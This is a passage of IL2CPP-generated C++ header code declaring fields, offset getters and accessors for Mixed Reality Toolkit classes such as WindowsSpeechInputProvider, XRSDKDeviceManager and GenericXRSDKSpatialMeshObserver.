EventFunction_1_t09C3552D0E392433F9E1730706B3D5BC8B3B43FE ** get_address_of_OnSceneObjectRemoved_69() { return &___OnSceneObjectRemoved_69; } inline void set_OnSceneObjectRemoved_69(EventFunction_1_t09C3552D0E392433F9E1730706B3D5BC8B3B43FE * value) { ___OnSceneObjectRemoved_69 = value; Il2CppCodeGenWriteBarrier((void**)(&___OnSceneObjectRemoved_69), (void*)value); } }; // Microsoft.MixedReality.Toolkit.Windows.Input.WindowsSpeechInputProvider struct WindowsSpeechInputProvider_tDA775DA7E17E2A78C8D26DF89F3A0F8FFB8C170E : public BaseInputDeviceManager_t15E7DE31148738AE2B5D15A47C36FF48DDB1E3C6 { public: // Microsoft.MixedReality.Toolkit.Utilities.RecognitionConfidenceLevel Microsoft.MixedReality.Toolkit.Windows.Input.WindowsSpeechInputProvider::k__BackingField int32_t ___U3CRecognitionConfidenceLevelU3Ek__BackingField_21; // Microsoft.MixedReality.Toolkit.Input.BaseGlobalInputSource Microsoft.MixedReality.Toolkit.Windows.Input.WindowsSpeechInputProvider::globalInputSource BaseGlobalInputSource_tE9B93B834C51342F071089F6B2AB580A0219AEF2 * ___globalInputSource_22; // UnityEngine.Windows.Speech.KeywordRecognizer Microsoft.MixedReality.Toolkit.Windows.Input.WindowsSpeechInputProvider::keywordRecognizer KeywordRecognizer_t118BF0FCD4DEE469BD742508DBB9AA9BDED9A15F * ___keywordRecognizer_23; public: inline static int32_t get_offset_of_U3CRecognitionConfidenceLevelU3Ek__BackingField_21() { return static_cast(offsetof(WindowsSpeechInputProvider_tDA775DA7E17E2A78C8D26DF89F3A0F8FFB8C170E, ___U3CRecognitionConfidenceLevelU3Ek__BackingField_21)); } inline int32_t get_U3CRecognitionConfidenceLevelU3Ek__BackingField_21() const { return ___U3CRecognitionConfidenceLevelU3Ek__BackingField_21; } inline int32_t* get_address_of_U3CRecognitionConfidenceLevelU3Ek__BackingField_21() { return &___U3CRecognitionConfidenceLevelU3Ek__BackingField_21; } inline void set_U3CRecognitionConfidenceLevelU3Ek__BackingField_21(int32_t value) { ___U3CRecognitionConfidenceLevelU3Ek__BackingField_21 = value; } inline static int32_t get_offset_of_globalInputSource_22() { return static_cast(offsetof(WindowsSpeechInputProvider_tDA775DA7E17E2A78C8D26DF89F3A0F8FFB8C170E, ___globalInputSource_22)); } inline BaseGlobalInputSource_tE9B93B834C51342F071089F6B2AB580A0219AEF2 * get_globalInputSource_22() const { return ___globalInputSource_22; } inline BaseGlobalInputSource_tE9B93B834C51342F071089F6B2AB580A0219AEF2 ** get_address_of_globalInputSource_22() { return &___globalInputSource_22; } inline void set_globalInputSource_22(BaseGlobalInputSource_tE9B93B834C51342F071089F6B2AB580A0219AEF2 * value) { ___globalInputSource_22 = value; Il2CppCodeGenWriteBarrier((void**)(&___globalInputSource_22), (void*)value); } inline static int32_t get_offset_of_keywordRecognizer_23() { return static_cast(offsetof(WindowsSpeechInputProvider_tDA775DA7E17E2A78C8D26DF89F3A0F8FFB8C170E, ___keywordRecognizer_23)); } inline KeywordRecognizer_t118BF0FCD4DEE469BD742508DBB9AA9BDED9A15F * get_keywordRecognizer_23() const { return ___keywordRecognizer_23; } inline KeywordRecognizer_t118BF0FCD4DEE469BD742508DBB9AA9BDED9A15F ** get_address_of_keywordRecognizer_23() { return &___keywordRecognizer_23; } inline void set_keywordRecognizer_23(KeywordRecognizer_t118BF0FCD4DEE469BD742508DBB9AA9BDED9A15F * value) { ___keywordRecognizer_23 = value; Il2CppCodeGenWriteBarrier((void**)(&___keywordRecognizer_23), (void*)value); } }; struct WindowsSpeechInputProvider_tDA775DA7E17E2A78C8D26DF89F3A0F8FFB8C170E_StaticFields { public: // Unity.Profiling.ProfilerMarker Microsoft.MixedReality.Toolkit.Windows.Input.WindowsSpeechInputProvider::UpdatePerfMarker ProfilerMarker_tAE86534C80C5D67768DB3B244D8D139A2E6495E1 ___UpdatePerfMarker_24; // Unity.Profiling.ProfilerMarker Microsoft.MixedReality.Toolkit.Windows.Input.WindowsSpeechInputProvider::OnPhraseRecognizedPerfMarker ProfilerMarker_tAE86534C80C5D67768DB3B244D8D139A2E6495E1 ___OnPhraseRecognizedPerfMarker_25; public: inline static int32_t get_offset_of_UpdatePerfMarker_24() { return static_cast(offsetof(WindowsSpeechInputProvider_tDA775DA7E17E2A78C8D26DF89F3A0F8FFB8C170E_StaticFields, ___UpdatePerfMarker_24)); } inline ProfilerMarker_tAE86534C80C5D67768DB3B244D8D139A2E6495E1 get_UpdatePerfMarker_24() const { return ___UpdatePerfMarker_24; } inline ProfilerMarker_tAE86534C80C5D67768DB3B244D8D139A2E6495E1 * get_address_of_UpdatePerfMarker_24() { return &___UpdatePerfMarker_24; } inline void set_UpdatePerfMarker_24(ProfilerMarker_tAE86534C80C5D67768DB3B244D8D139A2E6495E1 value) { ___UpdatePerfMarker_24 = value; } inline static int32_t get_offset_of_OnPhraseRecognizedPerfMarker_25() { return static_cast(offsetof(WindowsSpeechInputProvider_tDA775DA7E17E2A78C8D26DF89F3A0F8FFB8C170E_StaticFields, ___OnPhraseRecognizedPerfMarker_25)); } inline ProfilerMarker_tAE86534C80C5D67768DB3B244D8D139A2E6495E1 get_OnPhraseRecognizedPerfMarker_25() const { return ___OnPhraseRecognizedPerfMarker_25; } inline ProfilerMarker_tAE86534C80C5D67768DB3B244D8D139A2E6495E1 * get_address_of_OnPhraseRecognizedPerfMarker_25() { return &___OnPhraseRecognizedPerfMarker_25; } inline void set_OnPhraseRecognizedPerfMarker_25(ProfilerMarker_tAE86534C80C5D67768DB3B244D8D139A2E6495E1 value) { ___OnPhraseRecognizedPerfMarker_25 = value; } }; // Microsoft.MixedReality.Toolkit.XRSDK.Input.XRSDKDeviceManager struct XRSDKDeviceManager_t776A8F366E07807D56FDDDCE81F3BA02BA178FFD : public BaseInputDeviceManager_t15E7DE31148738AE2B5D15A47C36FF48DDB1E3C6 { public: // System.Collections.Generic.List`1 Microsoft.MixedReality.Toolkit.XRSDK.Input.XRSDKDeviceManager::inputDevices List_1_t476C8CC2E74FC5F7DE5B5CFE6830822665402F1F * ___inputDevices_22; // System.Collections.Generic.List`1 Microsoft.MixedReality.Toolkit.XRSDK.Input.XRSDKDeviceManager::inputDevicesSubset List_1_t476C8CC2E74FC5F7DE5B5CFE6830822665402F1F * ___inputDevicesSubset_23; // System.Collections.Generic.List`1 Microsoft.MixedReality.Toolkit.XRSDK.Input.XRSDKDeviceManager::lastInputDevices List_1_t476C8CC2E74FC5F7DE5B5CFE6830822665402F1F * ___lastInputDevices_24; // System.Collections.Generic.List`1 Microsoft.MixedReality.Toolkit.XRSDK.Input.XRSDKDeviceManager::k__BackingField List_1_tD812850D83CCFFD34E9A310E2AE62B198E513F2C * ___U3CDesiredInputCharacteristicsU3Ek__BackingField_25; public: inline static int32_t get_offset_of_inputDevices_22() { return static_cast(offsetof(XRSDKDeviceManager_t776A8F366E07807D56FDDDCE81F3BA02BA178FFD, ___inputDevices_22)); } inline List_1_t476C8CC2E74FC5F7DE5B5CFE6830822665402F1F * get_inputDevices_22() const { return ___inputDevices_22; } inline List_1_t476C8CC2E74FC5F7DE5B5CFE6830822665402F1F ** get_address_of_inputDevices_22() { return &___inputDevices_22; } inline void set_inputDevices_22(List_1_t476C8CC2E74FC5F7DE5B5CFE6830822665402F1F * value) { ___inputDevices_22 = value; Il2CppCodeGenWriteBarrier((void**)(&___inputDevices_22), (void*)value); } inline static int32_t get_offset_of_inputDevicesSubset_23() { return static_cast(offsetof(XRSDKDeviceManager_t776A8F366E07807D56FDDDCE81F3BA02BA178FFD, ___inputDevicesSubset_23)); } inline List_1_t476C8CC2E74FC5F7DE5B5CFE6830822665402F1F * get_inputDevicesSubset_23() const { return ___inputDevicesSubset_23; } inline List_1_t476C8CC2E74FC5F7DE5B5CFE6830822665402F1F ** get_address_of_inputDevicesSubset_23() { return &___inputDevicesSubset_23; } inline void set_inputDevicesSubset_23(List_1_t476C8CC2E74FC5F7DE5B5CFE6830822665402F1F * value) { ___inputDevicesSubset_23 = value; Il2CppCodeGenWriteBarrier((void**)(&___inputDevicesSubset_23), (void*)value); } inline static int32_t get_offset_of_lastInputDevices_24() { return static_cast(offsetof(XRSDKDeviceManager_t776A8F366E07807D56FDDDCE81F3BA02BA178FFD, ___lastInputDevices_24)); } inline List_1_t476C8CC2E74FC5F7DE5B5CFE6830822665402F1F * get_lastInputDevices_24() const { return ___lastInputDevices_24; } inline List_1_t476C8CC2E74FC5F7DE5B5CFE6830822665402F1F ** get_address_of_lastInputDevices_24() { return &___lastInputDevices_24; } inline void set_lastInputDevices_24(List_1_t476C8CC2E74FC5F7DE5B5CFE6830822665402F1F * value) { ___lastInputDevices_24 = value; Il2CppCodeGenWriteBarrier((void**)(&___lastInputDevices_24), (void*)value); } inline static int32_t get_offset_of_U3CDesiredInputCharacteristicsU3Ek__BackingField_25() { return static_cast(offsetof(XRSDKDeviceManager_t776A8F366E07807D56FDDDCE81F3BA02BA178FFD, ___U3CDesiredInputCharacteristicsU3Ek__BackingField_25)); } inline List_1_tD812850D83CCFFD34E9A310E2AE62B198E513F2C * get_U3CDesiredInputCharacteristicsU3Ek__BackingField_25() const { return ___U3CDesiredInputCharacteristicsU3Ek__BackingField_25; } inline List_1_tD812850D83CCFFD34E9A310E2AE62B198E513F2C ** get_address_of_U3CDesiredInputCharacteristicsU3Ek__BackingField_25() { return &___U3CDesiredInputCharacteristicsU3Ek__BackingField_25; } inline void set_U3CDesiredInputCharacteristicsU3Ek__BackingField_25(List_1_tD812850D83CCFFD34E9A310E2AE62B198E513F2C * value) { ___U3CDesiredInputCharacteristicsU3Ek__BackingField_25 = value; Il2CppCodeGenWriteBarrier((void**)(&___U3CDesiredInputCharacteristicsU3Ek__BackingField_25), (void*)value); } }; struct XRSDKDeviceManager_t776A8F366E07807D56FDDDCE81F3BA02BA178FFD_StaticFields { public: // System.Collections.Generic.Dictionary`2 Microsoft.MixedReality.Toolkit.XRSDK.Input.XRSDKDeviceManager::ActiveControllers Dictionary_2_tA0FD2AFAAFE4AEDFD84AEE2B7DA1E4180E174DBF * ___ActiveControllers_21; // Unity.Profiling.ProfilerMarker Microsoft.MixedReality.Toolkit.XRSDK.Input.XRSDKDeviceManager::UpdatePerfMarker ProfilerMarker_tAE86534C80C5D67768DB3B244D8D139A2E6495E1 ___UpdatePerfMarker_26; // Unity.Profiling.ProfilerMarker Microsoft.MixedReality.Toolkit.XRSDK.Input.XRSDKDeviceManager::GetOrAddControllerPerfMarker ProfilerMarker_tAE86534C80C5D67768DB3B244D8D139A2E6495E1 ___GetOrAddControllerPerfMarker_27; // Unity.Profiling.ProfilerMarker Microsoft.MixedReality.Toolkit.XRSDK.Input.XRSDKDeviceManager::RemoveControllerPerfMarker ProfilerMarker_tAE86534C80C5D67768DB3B244D8D139A2E6495E1 ___RemoveControllerPerfMarker_28; public: inline static int32_t get_offset_of_ActiveControllers_21() { return static_cast(offsetof(XRSDKDeviceManager_t776A8F366E07807D56FDDDCE81F3BA02BA178FFD_StaticFields, ___ActiveControllers_21)); } inline Dictionary_2_tA0FD2AFAAFE4AEDFD84AEE2B7DA1E4180E174DBF * get_ActiveControllers_21() const { return ___ActiveControllers_21; } inline Dictionary_2_tA0FD2AFAAFE4AEDFD84AEE2B7DA1E4180E174DBF ** get_address_of_ActiveControllers_21() { return &___ActiveControllers_21; } inline void set_ActiveControllers_21(Dictionary_2_tA0FD2AFAAFE4AEDFD84AEE2B7DA1E4180E174DBF * value) { ___ActiveControllers_21 = value; Il2CppCodeGenWriteBarrier((void**)(&___ActiveControllers_21), (void*)value); } inline static int32_t get_offset_of_UpdatePerfMarker_26() { return static_cast(offsetof(XRSDKDeviceManager_t776A8F366E07807D56FDDDCE81F3BA02BA178FFD_StaticFields, ___UpdatePerfMarker_26)); } inline ProfilerMarker_tAE86534C80C5D67768DB3B244D8D139A2E6495E1 get_UpdatePerfMarker_26() const { return ___UpdatePerfMarker_26; } inline ProfilerMarker_tAE86534C80C5D67768DB3B244D8D139A2E6495E1 * get_address_of_UpdatePerfMarker_26() { return &___UpdatePerfMarker_26; } inline void set_UpdatePerfMarker_26(ProfilerMarker_tAE86534C80C5D67768DB3B244D8D139A2E6495E1 value) { ___UpdatePerfMarker_26 = value; } inline static int32_t get_offset_of_GetOrAddControllerPerfMarker_27() { return static_cast(offsetof(XRSDKDeviceManager_t776A8F366E07807D56FDDDCE81F3BA02BA178FFD_StaticFields, ___GetOrAddControllerPerfMarker_27)); } inline ProfilerMarker_tAE86534C80C5D67768DB3B244D8D139A2E6495E1 get_GetOrAddControllerPerfMarker_27() const { return ___GetOrAddControllerPerfMarker_27; } inline ProfilerMarker_tAE86534C80C5D67768DB3B244D8D139A2E6495E1 * get_address_of_GetOrAddControllerPerfMarker_27() { return &___GetOrAddControllerPerfMarker_27; } inline void set_GetOrAddControllerPerfMarker_27(ProfilerMarker_tAE86534C80C5D67768DB3B244D8D139A2E6495E1 value) { ___GetOrAddControllerPerfMarker_27 = value; } inline static int32_t get_offset_of_RemoveControllerPerfMarker_28() { return static_cast(offsetof(XRSDKDeviceManager_t776A8F366E07807D56FDDDCE81F3BA02BA178FFD_StaticFields, ___RemoveControllerPerfMarker_28)); } inline ProfilerMarker_tAE86534C80C5D67768DB3B244D8D139A2E6495E1 get_RemoveControllerPerfMarker_28() const { return ___RemoveControllerPerfMarker_28; } inline ProfilerMarker_tAE86534C80C5D67768DB3B244D8D139A2E6495E1 * get_address_of_RemoveControllerPerfMarker_28() { return &___RemoveControllerPerfMarker_28; } inline void set_RemoveControllerPerfMarker_28(ProfilerMarker_tAE86534C80C5D67768DB3B244D8D139A2E6495E1 value) { ___RemoveControllerPerfMarker_28 = value; } }; // Microsoft.MixedReality.Toolkit.XRSDK.GenericXRSDKSpatialMeshObserver struct GenericXRSDKSpatialMeshObserver_tE038CEF24AFEF3A9E4130935EAA354A493B641A6 : public BaseSpatialMeshObserver_tCF4769C1503211D10D446F943142BF14DC571740 { public: // System.Collections.Generic.IReadOnlyList`1 Microsoft.MixedReality.Toolkit.XRSDK.GenericXRSDKSpatialMeshObserver::observersCache RuntimeObject* ___observersCache_47; // UnityEngine.XR.XRMeshSubsystem Microsoft.MixedReality.Toolkit.XRSDK.GenericXRSDKSpatialMeshObserver::meshSubsystem XRMeshSubsystem_t60BD977DF1B014CF5D48C8EBCC91DED767520D63 * ___meshSubsystem_48; // System.Collections.Generic.Queue`1 Microsoft.MixedReality.Toolkit.XRSDK.GenericXRSDKSpatialMeshObserver::meshWorkQueue Queue_1_t5444887607C926D74BF49AFF18829466A23A9D3B * ___meshWorkQueue_50; // System.Collections.Generic.List`1 Microsoft.MixedReality.Toolkit.XRSDK.GenericXRSDKSpatialMeshObserver::meshInfos List_1_t053E82C4FE1FEB4EF0149CCADF601193CE96CB4D * ___meshInfos_51; // Microsoft.MixedReality.Toolkit.SpatialAwareness.SpatialAwarenessMeshObject Microsoft.MixedReality.Toolkit.XRSDK.GenericXRSDKSpatialMeshObserver::outstandingMeshObject SpatialAwarenessMeshObject_t714D18632EDCC5238156A908F5F8132BF0291944 * ___outstandingMeshObject_52; // Microsoft.MixedReality.Toolkit.SpatialAwareness.SpatialAwarenessMeshObject Microsoft.MixedReality.Toolkit.XRSDK.GenericXRSDKSpatialMeshObserver::spareMeshObject SpatialAwarenessMeshObject_t714D18632EDCC5238156A908F5F8132BF0291944 * ___spareMeshObject_53; // System.Single Microsoft.MixedReality.Toolkit.XRSDK.GenericXRSDKSpatialMeshObserver::lastUpdated float ___lastUpdated_54; // UnityEngine.Vector3 Microsoft.MixedReality.Toolkit.XRSDK.GenericXRSDKSpatialMeshObserver::oldObserverOrigin Vector3_t65B972D6A585A0A5B63153CF1177A90D3C90D65E ___oldObserverOrigin_63; // UnityEngine.Vector3 Microsoft.MixedReality.Toolkit.XRSDK.GenericXRSDKSpatialMeshObserver::oldObservationExtents Vector3_t65B972D6A585A0A5B63153CF1177A90D3C90D65E ___oldObservationExtents_64; // Microsoft.MixedReality.Toolkit.Utilities.VolumeType Microsoft.MixedReality.Toolkit.XRSDK.GenericXRSDKSpatialMeshObserver::oldObserverVolumeType int32_t ___oldObserverVolumeType_65; public: inline static int32_t get_offset_of_observersCache_47() { return static_cast(offsetof(GenericXRSDKSpatialMeshObserver_tE038CEF24AFEF3A9E4130935EAA354A493B641A6, ___observersCache_47)); } inline RuntimeObject* get_observersCache_47() const { return ___observersCache_47; } inline RuntimeObject** get_address_of_observersCache_47() { return &___observersCache_47; } inline void set_observersCache_47(RuntimeObject* value) { ___observersCache_47 = value; Il2CppCodeGenWriteBarrier((void**)(&___observersCache_47), (void*)value); } inline static int32_t get_offset_of_meshSubsystem_48() { return static_cast(offsetof(GenericXRSDKSpatialMeshObserver_tE038CEF24AFEF3A9E4130935EAA354A493B641A6, ___meshSubsystem_48)); } inline XRMeshSubsystem_t60BD977DF1B014CF5D48C8EBCC91DED767520D63 * get_meshSubsystem_48() const { return ___meshSubsystem_48; } inline XRMeshSubsystem_t60BD977DF1B014CF5D48C8EBCC91DED767520D63 ** get_address_of_meshSubsystem_48() { return &___meshSubsystem_48; } inline void set_meshSubsystem_48(XRMeshSubsystem_t60BD977DF1B014CF5D48C8EBCC91DED767520D63 * value) { ___meshSubsystem_48 = value; Il2CppCodeGenWriteBarrier((void**)(&___meshSubsystem_48), (void*)value); } inline static int32_t get_offset_of_meshWorkQueue_50() { return static_cast(offsetof(GenericXRSDKSpatialMeshObserver_tE038CEF24AFEF3A9E4130935EAA354A493B641A6, ___meshWorkQueue_50)); } inline Queue_1_t5444887607C926D74BF49AFF18829466A23A9D3B * get_meshWorkQueue_50() const { return ___meshWorkQueue_50; } inline Queue_1_t5444887607C926D74BF49AFF18829466A23A9D3B ** get_address_of_meshWorkQueue_50() { return &___meshWorkQueue_50; } inline void set_meshWorkQueue_50(Queue_1_t5444887607C926D74BF49AFF18829466A23A9D3B * value) { ___meshWorkQueue_50 = value; Il2CppCodeGenWriteBarrier((void**)(&___meshWorkQueue_50), (void*)value); } inline static int32_t get_offset_of_meshInfos_51() { return static_cast(offsetof(GenericXRSDKSpatialMeshObserver_tE038CEF24AFEF3A9E4130935EAA354A493B641A6, ___meshInfos_51)); } inline List_1_t053E82C4FE1FEB4EF0149CCADF601193CE96CB4D * get_meshInfos_51() const { return ___meshInfos_51; } inline List_1_t053E82C4FE1FEB4EF0149CCADF601193CE96CB4D ** get_address_of_meshInfos_51() { return &___meshInfos_51; } inline void set_meshInfos_51(List_1_t053E82C4FE1FEB4EF0149CCADF601193CE96CB4D * value) { ___meshInfos_51 = value; Il2CppCodeGenWriteBarrier((void**)(&___meshInfos_51), (void*)value); } inline static int32_t get_offset_of_outstandingMeshObject_52() { return static_cast(offsetof(GenericXRSDKSpatialMeshObserver_tE038CEF24AFEF3A9E4130935EAA354A493B641A6, ___outstandingMeshObject_52)); } inline SpatialAwarenessMeshObject_t714D18632EDCC5238156A908F5F8132BF0291944 * get_outstandingMeshObject_52() const { return ___outstandingMeshObject_52; } inline SpatialAwarenessMeshObject_t714D18632EDCC5238156A908F5F8132BF0291944 ** get_address_of_outstandingMeshObject_52() { return &___outstandingMeshObject_52; } inline void set_outstandingMeshObject_52(SpatialAwarenessMeshObject_t714D18632EDCC5238156A908F5F8132BF0291944 * value) { ___outstandingMeshObject_52 = value; Il2CppCodeGenWriteBarrier((void**)(&___outstandingMeshObject_52), (void*)value); } inline static int32_t get_offset_of_spareMeshObject_53() { return static_cast(offsetof(GenericXRSDKSpatialMeshObserver_tE038CEF24AFEF3A9E4130935EAA354A493B641A6, ___spareMeshObject_53)); } inline SpatialAwarenessMeshObject_t714D18632EDCC5238156A908F5F8132BF0291944 * get_spareMeshObject_53() const { return ___spareMeshObject_53; } inline SpatialAwarenessMeshObject_t714D18632EDCC5238156A908F5F8132BF0291944 ** get_address_of_spareMeshObject_53() { return &___spareMeshObject_53; } inline void set_spareMeshObject_53(SpatialAwarenessMeshObject_t714D18632EDCC5238156A908F5F8132BF0291944 * value) { ___spareMeshObject_53 = value; Il2CppCodeGenWriteBarrier((void**)(&___spareMeshObject_53), (void*)value); } inline static int32_t get_offset_of_lastUpdated_54() { return static_cast(offsetof(GenericXRSDKSpatialMeshObserver_tE038CEF24AFEF3A9E4130935EAA354A493B641A6, ___lastUpdated_54)); } inline float get_lastUpdated_54() const { return ___lastUpdated_54; } inline float* get_address_of_lastUpdated_54() { return &___lastUpdated_54; } inline void set_lastUpdated_54(float value) { ___lastUpdated_54 = value; } inline static int32_t get_offset_of_oldObserverOrigin_63() { return static_cast(offsetof(GenericXRSDKSpatialMeshObserver_tE038CEF24AFEF3A9E4130935EAA354A493B641A6, ___oldObserverOrigin_63)); } inline Vector3_t65B972D6A585A0A5B63153CF1177A90D3C90D65E get_oldObserverOrigin_63() const { return ___oldObserverOrigin_63; } inline Vector3_t65B972D6A585A0A5B63153CF1177A90D3C90D65E * get_address_of_oldObserverOrigin_63() { return &___oldObserverOrigin_63; } inline void set_oldObserverOrigin_63(Vector3_t65B972D6A585A0A5B63153CF1177A90D3C90D65E value) { ___oldObserverOrigin_63 = value; } inline static int32_t get_offset_of_oldObservationExtents_64() { return static_cast(offsetof(GenericXRSDKSpatialMeshObserver_tE038CEF24AFEF3A9E4130935EAA354A493B641A6, ___oldObservationExtents_64)); } inline Vector3_t65B972D6A585A0A5B63153CF1177A90D3C90D65E get_oldObservationExtents_64() const { return ___oldObservationExtents_64; } inline Vector3_t65B972D6A585A0A5B63153CF1177A90D3C90D65E * get_address_of_oldObservationExtents_64() { return &___oldObservationExtents_64; } inline void set_oldObservationExtents_64(Vector3_t65B972D6A585A0A5B63153CF1177A90D3C90D65E value) { ___oldObservationExtents_64 = value; } inline static int32_t get_offset_of_oldObserverVolumeType_65() { return static_cast(offsetof(GenericXRSDKSpatialMeshObserver_tE038CEF24AFEF3A9E4130935EAA354A493B641A6, ___oldObserverVolumeType_65)); } inline int32_t get_oldObserverVolumeType_65() const { return ___oldObserverVolumeType_65; } inline int32_t* get_address_of_oldObserverVolumeType_65() { return &___oldObserverVolumeType_65; } inline void set_oldObserverVolumeType_65(int32_t value) { ___oldObserverVolumeType_65 = value; } }; struct GenericXRSDKSpatialMeshObserver_tE038CEF24AFEF3A9E4130935EAA354A493B641A6_StaticFields { public: // Unity.Profiling.ProfilerMarker Microsoft.MixedReality.Toolkit.XRSDK.GenericXRSDKSpatialMeshObserver::UpdatePerfMarker ProfilerMarker_tAE86534C80C5D67768DB3B244D8D139A2E6495E1 ___UpdatePerfMarker_49; // Unity.Profiling.ProfilerMarker Microsoft.MixedReality.Toolkit.XRSDK.GenericXRSDKSpatialMeshObserver::ResumePerfMarker ProfilerMarker_tAE86534C80C5D67768DB3B244D8D139A2E6495E1 ___ResumePerfMarker_55; // Unity.Profiling.ProfilerMarker Microsoft.MixedReality.Toolkit.XRSDK.GenericXRSDKSpatialMeshObserver::SuspendPerfMarker ProfilerMarker_tAE86534C80C5D67768DB3B244D8D139A2E6495E1 ___SuspendPerfMarker_56; // Unity.Profiling.ProfilerMarker Microsoft.MixedReality.Toolkit.XRSDK.GenericXRSDKSpatialMeshObserver::ClearObservationsPerfMarker ProfilerMarker_tAE86534C80C5D67768DB3B244D8D139A2E6495E1 ___ClearObservationsPerfMarker_57; // Unity.Profiling.ProfilerMarker Microsoft.MixedReality.Toolkit.XRSDK.GenericXRSDKSpatialMeshObserver::UpdateObserverPerfMarker ProfilerMarker_tAE86534C80C5D67768DB3B244D8D139A2E6495E1 ___UpdateObserverPerfMarker_58; // Unity.Profiling.ProfilerMarker Microsoft.MixedReality.Toolkit.XRSDK.GenericXRSDKSpatialMeshObserver::RequestMeshPerfMarker ProfilerMarker_tAE86534C80C5D67768DB3B244D8D139A2E6495E1 ___RequestMeshPerfMarker_59; // Unity.Profiling.ProfilerMarker Microsoft.MixedReality.Toolkit.XRSDK.GenericXRSDKSpatialMeshObserver::RemoveMeshObjectPerfMarker ProfilerMarker_tAE86534C80C5D67768DB3B244D8D139A2E6495E1 ___RemoveMeshObjectPerfMarker_60; // Unity.Profiling.ProfilerMarker Microsoft.MixedReality.Toolkit.XRSDK.GenericXRSDKSpatialMeshObserver::ReclaimMeshObjectPerfMarker ProfilerMarker_tAE86534C80C5D67768DB3B244D8D139A2E6495E1 ___ReclaimMeshObjectPerfMarker_61; // Unity.Profiling.ProfilerMarker Microsoft.MixedReality.Toolkit.XRSDK.GenericXRSDKSpatialMeshObserver::ConfigureObserverVolumePerfMarker ProfilerMarker_tAE86534C80C5D67768DB3B244D8D139A2E6495E1 ___ConfigureObserverVolumePerfMarker_62; // Unity.Profiling.ProfilerMarker Microsoft.MixedReality.Toolkit.XRSDK.GenericXRSDKSpatialMeshObserver::UpdateMeshesPerfMarker ProfilerMarker_tAE86534C80C5D67768DB3B244D8D139A2E6495E1 ___UpdateMeshesPerfMarker_66; // Unity.Profiling.ProfilerMarker Microsoft.MixedReality.Toolkit.XRSDK.GenericXRSDKSpatialMeshObserver::MeshGenerationActionPerfMarker ProfilerMarker_tAE86534C80C5D67768DB3B244D8D139A2E6495E1 ___MeshGenerationActionPerfMarker_67; public: inline static int32_t get_offset_of_UpdatePerfMarker_49() { return static_cast(offsetof(GenericXRSDKSpatialMeshObserver_tE038CEF24AFEF3A9E4130935EAA354A493B641A6_StaticFields, ___UpdatePerfMarker_49)); } inline ProfilerMarker_tAE86534C80C5D67768DB3B244D8D139A2E6495E1 get_UpdatePerfMarker_49() const { return ___UpdatePerfMarker_49; } inline ProfilerMarker_tAE86534C80C5D67768DB3B244D8D139A2E6495E1 * get_address_of_UpdatePerfMarker_49() { return &___UpdatePerfMarker_49; } inline void set_UpdatePerfMarker_49(ProfilerMarker_tAE86534C80C5D67768DB3B244D8D139A2E6495E1 value) { ___UpdatePerfMarker_49 = value; } inline static int32_t get_offset_of_ResumePerfMarker_55() { return static_cast(offsetof(GenericXRSDKSpatialMeshObserver_tE038CEF24AFEF3A9E4130935EAA354A493B641A6_StaticFields, ___ResumePerfMarker_55)); } inline ProfilerMarker_tAE86534C80C5D67768DB3B244D8D139A2E6495E1 get_ResumePerfMarker_55() const { return ___ResumePerfMarker_55; } inline ProfilerMarker_tAE86534C80C5D67768DB3B244D8D139A2E6495E1 * get_address_of_ResumePerfMarker_55() { return &___ResumePerfMarker_55; } inline void set_ResumePerfMarker_55(ProfilerMarker_tAE86534C80C5D67768DB3B244D8D139A2E6495E1 value) { ___ResumePerfMarker_55 = value; } inline static int32_t get_offset_of_SuspendPerfMarker_56() { return static_cast(offsetof(GenericXRSDKSpatialMeshObserver_tE038CEF24AFEF3A9E4130935EAA354A493B641A6_StaticFields, ___SuspendPerfMarker_56)); } inline ProfilerMarker_tAE86534C80C5D67768DB3B244D8D139A2E6495E1 get_SuspendPerfMarker_56() const { return ___SuspendPerfMarker_56; } inline ProfilerMarker_tAE86534C80C5D67768DB3B244D8D139A2E6495E1 * get_address_of_SuspendPerfMarker_56() { return &___SuspendPerfMarker_56; } inline void set_SuspendPerfMarker_56(ProfilerMarker_tAE86534C80C5D67768DB3B244D8D139A2E6495E1 value) { ___SuspendPerfMarker_56 = value; } inline static int32_t get_offset_of_ClearObservationsPerfMarker_57() { return static_cast(offsetof(GenericXRSDKSpatialMeshObserver_tE038CEF24AFEF3A9E4130935EAA354A493B641A6_StaticFields, ___ClearObservationsPerfMarker_57)); } inline ProfilerMarker_tAE86534C80C5D67768DB3B244D8D139A2E6495E1 get_ClearObservationsPerfMarker_57() const { return ___ClearObservationsPerfMarker_57; } inline ProfilerMarker_tAE86534C80C5D67768DB3B244D8D139A2E6495E1 * get_address_of_ClearObservationsPerfMarker_57() { return &___ClearObservationsPerfMarker_57; } inline void set_ClearObservationsPerfMarker_57(ProfilerMarker_tAE86534C80C5D67768DB3B244D8D139A2E6495E1 value) { ___ClearObservationsPerfMarker_57 = value; } inline static int32_t get_offset_of_UpdateObserverPerfMarker_58() { return static_cast(offsetof(GenericXRSDKSpatialMeshObserver_tE038CEF24AFEF3A9E4130935EAA354A493B641A6_StaticFields, ___UpdateObserverPerfMarker_58)); } inline ProfilerMarker_tAE86534C80C5D67768DB3B244D8D139A2E6495E1 get_UpdateObserverPerfMarker_58() const { return ___UpdateObserverPerfMarker_58; } inline ProfilerMarker_tAE86534C80C5D67768DB3B244D8D139A2E6495E1 * get_address_of_UpdateObserverPerfMarker_58() { return &___UpdateObserverPerfMarker_58; } inline void set_UpdateObserverPerfMarker_58(ProfilerMarker_tAE86534C80C5D67768DB3B244D8D139A2E6495E1 value) { ___UpdateObserverPerfMarker_58 = value; } inline static int32_t get_offset_of_RequestMeshPerfMarker_59() { return static_cast(offsetof(GenericXRSDKSpatialMeshObserver_tE038CEF24AFEF3A9E4130935EAA354A493B641A6_StaticFields, ___RequestMeshPerfMarker_59)); } inline ProfilerMarker_tAE86534C80C5D67768DB3B244D8D139A2E6495E1 get_RequestMeshPerfMarker_59() const { return ___RequestMeshPerfMarker_59; } inline ProfilerMarker_tAE86534C80C5D67768DB3B244D8D139A2E6495E1 * get_address_of_RequestMeshPerfMarker_59() { return &___RequestMeshPerfMarker_59; } inline void set_RequestMeshPerfMarker_59(ProfilerMarker_tAE86534C80C5D67768DB3B244D8D139A2E6495E1 value) { ___RequestMeshPerfMarker_59 = value; } inline static int32_t get_offset_of_RemoveMeshObjectPerfMarker_60() { return static_cast(offsetof(GenericXRSDKSpatialMeshObserver_tE038CEF24AFEF3A9E4130935EAA354A493B641A6_StaticFields, ___RemoveMeshObjectPerfMarker_60)); } inline ProfilerMarker_tAE86534C80C5D67768DB3B244D8D139A2E6495E1 get_RemoveMeshObjectPerfMarker_60() const { return 